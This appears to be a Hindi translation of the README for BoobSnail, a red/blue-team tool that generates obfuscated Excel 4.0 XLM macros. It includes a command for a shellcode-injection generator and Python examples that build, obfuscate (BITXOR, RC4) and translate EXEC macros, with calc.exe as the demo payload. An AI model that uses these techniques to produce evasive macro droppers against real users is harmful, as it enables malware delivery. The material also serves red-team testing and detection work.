
लाल टीम संचालन और नीली टीम विश्लेषण के लिए अस्पष्ट एक्सेल 4.0 XLM मैक्रोज़ उत्पन्न करें, जिसमें कई संक्रमण तकनीकों, सूत्र अनुवाद और पुस्तकालय-आधारित कस्टम जनरेटर का समर्थन शामिल है।
हमें Twitter पर फ़ॉलो करें!
BoobSnail XLM (Excel 4.0) मैक्रो उत्पन्न करने की अनुमति देता है। इसका उद्देश्य RedTeam और BlueTeam को XLM मैक्रो उत्पादन में सहायता करना है। विशेषताएँ:
परीक्षण किया गया: Python 3.8.7rc1
pip install -r requirements.txt
python boobsnail.py
___. ___. _________ .__.__
\_ |__ ____ ____\_ |__ / _____/ ____ _____ |__| |
| __ \ / _ \ / _ \| __ \ \_____ \ / \__ \ | | |
| \_\ ( <_> | <_> ) \_\ \/ \ | \/ __ \| | |__
|___ /\____/ \____/|___ /_______ /___| (____ /__|____/
\/ \/ \/ \/ \/
Author: @_mzer0 @stm_cyber
(...)
python boobsnail.py <generator> -h
उपलब्ध जनरेटर प्रदर्शित करने के लिए टाइप करें:
python boobsnail.py
अस्पष्ट मैक्रो उत्पन्न करें जो x64 या x86 शेलकोड इंजेक्ट करता है:
python boobsnail.py Excel4NtDonutGenerator --inputx86 <PATH_TO_SHELLCODE> --inputx64 <PATH_TO_SHELLCODE> --out boobsnail.csv
अस्पष्ट मैक्रो उत्पन्न करें जो calc.exe चलाता है:
python boobsnail.py Excel4ExecGenerator --cmd "powershell.exe -c calc.exe" --out boobsnail.csv
BoobSnail excel4lib लाइब्रेरी साझा करता है जो आपको अपना स्वयं का Excel4 मैक्रो जनरेटर बनाने की अनुमति देता है। excel4lib में कुछ वर्ग हैं जिनका उपयोग जनरेटर लिखने के दौरान किया जा सकता है:
excel4lib.macro.Excel4Macro - Excel4 सूत्रों, मानों, चर को परिभाषित करने की अनुमति देता है;excel4lib.macro.obfuscator.Excel4Obfuscator - Excel4Macro में बनाए गए निर्देशों को अस्पष्ट करने की अनुमति देता है;excel4lib.lang.Excel4Translator - सूत्रों को दूसरी भाषा में अनुवाद करने की अनुमति देता है।इस लाइब्रेरी का मुख्य विचार Excel4 सूत्रों, चर, सूत्र तर्कों और मानों को पायथन ऑब्जेक्ट के रूप में प्रस्तुत करना है। इसके लिए धन्यवाद, आप निर्देश गुणों जैसे सूत्रों या चर नामों, मानों, पतों आदि को आसानी से बदल सकते हैं। उदाहरण के लिए, आइए एक सरल मैक्रो बनाएँ जो calc.exe चलाता है:
from excel4lib.macro import *
# Create macro object
macro = Excel4Macro("test.csv")
# Add variable called cmd with value "calc.exe" to the worksheet
cmd = macro.variable("cmd", "calc.exe")
# Add EXEC formula with argument cmd
macro.formula("EXEC", cmd)
# Dump to CSV
print(macro.to_csv())
परिणाम:
cmd="calc.exe";
=EXEC(cmd);
अब मान लें कि आप अपने मैक्रो को अस्पष्ट करना चाहते हैं। ऐसा करने के लिए आपको बस obfuscator को आयात करना होगा और इसे Excel4Macro ऑब्जेक्ट में पास करना होगा:
from excel4lib.macro import *
from excel4lib.macro.obfuscator import *
# Create macro object
macro = Excel4Macro("test.csv", obfuscator=Excel4Obfuscator())
# Add variable called cmd with value "calc.exe" to the worksheet
cmd = macro.variable("cmd", "calc.exe")
# Add EXEC formula with argument cmd
macro.formula("EXEC", cmd)
# Dump to CSV
print(macro.to_csv())
अभी के लिए excel4lib दो अस्पष्टीकरण वर्ग साझा करता है:
excel4lib.macro.obfuscator.Excel4Obfuscator आपके मैक्रो को अस्पष्ट करने के लिए Excel 4.0 फ़ंक्शन जैसे BITXOR, SUM आदि का उपयोग करता है;excel4lib.macro.obfuscator.Excel4Rc4Obfuscator सूत्रों को अस्पष्ट करने के लिए RC4 एन्क्रिप्शन का उपयोग करता है।जैसा कि आप देख सकते हैं, आप अपना स्वयं का अस्पष्टीकरण वर्ग लिख सकते हैं और इसे Excel4Macro में उपयोग कर सकते हैं।
कभी-कभी आपको अपने मैक्रो का किसी अन्य भाषा में अनुवाद करने की आवश्यकता होगी, उदाहरण के लिए आपकी मातृभाषा, मेरे मामले में यह पोलिश है। excel4lib के साथ यह काफी आसान है। आपको बस Excel4Translator वर्ग आयात करना होगा और set_language को कॉल करना होगा:
from excel4lib.macro import *
from excel4lib.lang.excel4_translator import *
# Change language
Excel4Translator.set_language("pl_PL")
# Create macro object
macro = Excel4Macro("test.csv", obfuscator=Excel4Obfuscator())
# Add variable called cmd with value "calc.exe" to the worksheet
cmd = macro.variable("cmd", "calc.exe")
# Add EXEC formula with argument cmd
macro.formula("EXEC", cmd)
# Dump to CSV
print(macro.to_csv())
परिणाम:
cmd="calc.exe";
=URUCHOM.PROGRAM(cmd);
अभी के लिए, केवल अंग्रेज़ी और पोलिश भाषा समर्थित है। यदि आप किसी अन्य भाषा का उपयोग करना चाहते हैं, तो आपको excel4lib/lang/langs निर्देशिका में अनुवाद जोड़ने होंगे।
निश्चित रूप से, आपको एक ऐसा सूत्र बनाने की आवश्यकता होगी जो तर्क के रूप में दूसरे सूत्र को लेता है। आप Excel4Macro.argument फ़ंक्शन का उपयोग करके ऐसा कर सकते हैं।
from excel4lib.macro import *
macro = Excel4Macro("test.csv")
# Add variable called cmd with value "calc" to the worksheet
cmd_1 = macro.variable("cmd", "calc")
# Add cell containing .exe as value
cmd_2 = macro.value(".exe")
# Create CONCATENATE formula that CONCATENATEs cmd_1 and cmd_2
exec_arg = macro.argument("CONCATENATE", cmd_1, cmd_2)
# Pass CONCATENATE call as argument to EXEC formula
macro.formula("EXEC", exec_arg)
# Dump to CSV
print(macro.to_csv())
परिणाम:
cmd="calc";
.exe;
=EXEC(CONCATENATE(cmd,R2C1));
जैसा कि आप देख सकते हैं, ".exe" स्ट्रिंग को CONCATENATE सूत्र में R2C1 के रूप में पास किया गया था। R2C1 ".exe" मान का पता है (पंक्ति संख्या 2 और स्तंभ संख्या 1)। excel4lib सूत्रों, मानों के संदर्भ को पतों के रूप में लौटाता है। चर के संदर्भ उनके नामों के रूप में लौटाए जाते हैं। आपने शायद देखा होगा कि Excel4Macro वर्ग सूत्रों, चरों, मानों को वर्कशीट में उसी क्रम में स्वचालित रूप से जोड़ता है जिस क्रम में ये ऑब्जेक्ट बनाए जाते हैं और प्रारंभिक पता R1C1 है। यदि आप सूत्रों को किसी अन्य स्तंभ या पंक्ति में रखना चाहते हैं तो क्या होगा? आप Excel4Macro.set_cords फ़ंक्शन को कॉल करके ऐसा कर सकते हैं।
from excel4lib.macro import *
macro = Excel4Macro("test.csv")
# Column 1
# Add variable called cmd with value "calc" to the worksheet
cmd_1 = macro.variable("cmd", "calc")
# Add cell containing .exe as value
cmd_2 = macro.value(".exe")
# Column 2
# Change cords to columns 2
macro.set_cords(2,1)
exec_arg = macro.argument("CONCATENATE", cmd_1, cmd_2)
# Pass CONCATENATE call as argument to EXEC formula
exec_call = macro.formula("EXEC", exec_arg)
# Column 1
# Back to column 1. Change cords to column 1 and row 3
macro.set_cords(1,3)
# GOTO EXEC call
macro.goto(exec_call)
# Dump to CSV
print(macro.to_csv())
परिणाम:
cmd="calc";=EXEC(CONCATENATE(cmd,R2C1));
.exe;;
=GOTO(R1C2);;